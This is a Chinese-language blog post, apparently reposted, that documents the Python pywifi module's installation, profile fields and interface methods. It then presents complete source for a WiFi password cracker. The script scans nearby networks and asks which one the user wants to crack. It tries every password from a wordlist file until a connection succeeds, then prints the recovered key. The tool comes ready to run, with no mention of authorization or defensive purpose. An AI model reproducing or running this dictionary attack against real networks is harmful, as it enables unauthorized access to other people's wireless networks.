当前位置:   article > 正文

python~wifi篇_pywifi模块怎么安装

pywifi模块怎么安装

python~wifi篇

前言

最近对python的pywifi模块进行了一些学习了解,总结分享一波~

原文博客地址:python~wifi篇 | 旅程blog (cxy.red)

1. pywifi模块的安装

运用python包管理工具pip下载pywifi模块,在命令行中输入以下命令:

pip install pywifi

2. 各功能

2.1 成员变量

# 假设ssid, auth, akm, cipher, key已经定义
profile = pywifi.Profile()
profile.ssid = ssid
profile.auth = auth
profile.akm = [akm]  
profile.cipher = cipher
if cipher != pywifi.const.CIPHER_TYPE_NONE:  
    profile.key = key
  
1.  ssid:AP的用户名
2.  auth:AP的认证算法
    - const.AUTH_OPEN
    - const.AUTH_SHARED
3.  akm:AP的密钥管理类型
    - const.AKM_TYPE_NONE
    - const.AKM_TYPE_WPA
    - const.AKM_TYPE_WPAPSK
    - const.AKM_TYPE_WPA2
    - const.AKM_TYPE_WPA2PSK
4. cipher:AP的密码类型
    - const.CIPHER_TYPE_NONE
    - const.CIPHER_TYPE_WEP
    - const.CIPHER_TYPE_TKIP
    - const.CIPHER_TYPE_CCMP
5. key:AP的密码
    - 如果cipher不是CIPHER_TYPE_NONE,则应设置此值。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

2.2 常用方法

# 假设Interface是一个已经初始化的pywifi接口对象
1. # 获取wifi接口的名字
   name = Interface.name()  
2. # 扫描APs
   Interface.scan()  
3. # 获取上次触发扫描的结果。将返回一个Profile文件列表
   scan_results = Interface.scan_results() 
4. # 添加用于稍后连接的AP配置文件
   Interface.add_network_profile(profile)  
5. # 删除所有AP配置
   Interface.remove_all_network_profiles()  
6. # 获取所有保存的AP Profile
   network_profiles = Interface.network_profiles()  # 修改为无参调用
7. # 连接设置的AP Profile
   Interface.connect(network_profiles[0])  # 假设连接第一个配置文件
8. # 断开当前的AP连接
   Interface.disconnect()
9. # 获取当前wifi的状态
   status = Interface.status()
   # 根据status的值判断状态
   # 例如: if status == pywifi.const.IFACE_CONNECTED:

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

3. 源码

import os
from pywifi import PyWiFi, const, Profile
import time

def scan_wifi(iface):
    iface.scan()
    print("---扫描周围WiFi中---")
    time.sleep(1)
    for i in iface.scan_results():
        print("WiFi名称:" + i.ssid.encode("raw_unicode_escape").decode() + ",信号强度:", str(i.signal + 100) + "%")

def connect_to_wifi(iface, password, ssid):
    try:
        profile = Profile()
        profile.ssid = ssid.encode().decode("GBK")
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.auth = const.AUTH_ALG_OPEN
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password
        iface.remove_all_network_profiles()
        test_profiles = iface.add_network_profile(profile)
        iface.connect(test_profiles)
        time.sleep(1)
        return iface.status() == const.IFACE_CONNECTED
    except Exception as e:
        print(f"连接失败: {e}")
        return False

def main():
    wifi = PyWiFi()
    iface = wifi.interfaces()[0]  # 假设只有一个接口
    path = os.path.dirname(__file__)
    file_path = os.path.join(path, "密码本.txt")
  
    if iface.status() == const.IFACE_CONNECTED:
        print("请断开WiFi,再尝试运行!")
        status = input("如果断开WiFi可以输入1,退出脚本请按任意键: ")
        if status.strip() == "1":
            iface.disconnect()
            print("---断开WiFi中---")
            time.sleep(1)
    elif iface.status() != const.IFACE_DISCONNECTED:
        print("当前网卡状态异常!!!\n请重新运行")
        return

    scan_wifi(iface)
    wifi_name = input("请输入想破解的WiFi名称: ")
    print("---开始破解---")
    with open(file_path, "r") as f:
        for pwd in f:
            if connect_to_wifi(iface, pwd.strip(), wifi_name):
                print("破解成功,密码为:", pwd.strip())
                break
            else:
                print("破解失败,正在尝试下一个密码...")

if __name__ == "__main__":
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58

4. 下载地址

参考文献

  1. Pywifi:Python库pywifi的详细介绍、安装方法和使用攻略-CSDN博客
  2. Pywifi用法-python - 凉沐流风 - 博客园 (cnblogs.com)
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/860870
推荐阅读
相关标签
  

闽ICP备14008679号